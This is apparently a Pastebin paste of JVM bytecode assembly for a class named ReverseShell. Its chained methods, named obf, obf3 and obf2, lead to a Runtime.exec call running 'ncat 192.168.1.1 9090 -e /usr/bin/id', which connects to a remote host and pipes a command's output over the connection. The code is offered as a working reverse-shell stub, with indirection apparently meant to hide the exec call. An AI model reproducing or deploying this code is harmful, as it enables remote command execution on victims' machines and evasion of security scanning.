Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- .class public ReverseShell
- .super java/lang/Object
- .method public static obf(Ljava/lang/String;)Ljava/lang/String;
- .limit locals 4
- .limit stack 8
- ldc "hello world"
- invokestatic ReverseShell/obf3(Ljava/lang/String;)Ljava/lang/String;
- areturn
- .end method
- .method public static obf3(Ljava/lang/String;)Ljava/lang/String;
- .limit locals 4
- .limit stack 8
- ldc "hello world"
- invokestatic ReverseShell/obf2(Ljava/lang/String;)Ljava/lang/String;
- areturn
- .end method
- .method public static obf2(Ljava/lang/String;)Ljava/lang/String;
- .limit locals 1
- .limit stack 8
- invokestatic java/lang/Runtime/getRuntime()Ljava/lang/Runtime;
- ldc "ncat 192.168.1.1 9090 -e /usr/bin/id"
- invokevirtual java/lang/Runtime/exec(Ljava/lang/String;)Ljava/lang/Process;
- ldc "test"
- areturn
- .end method
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement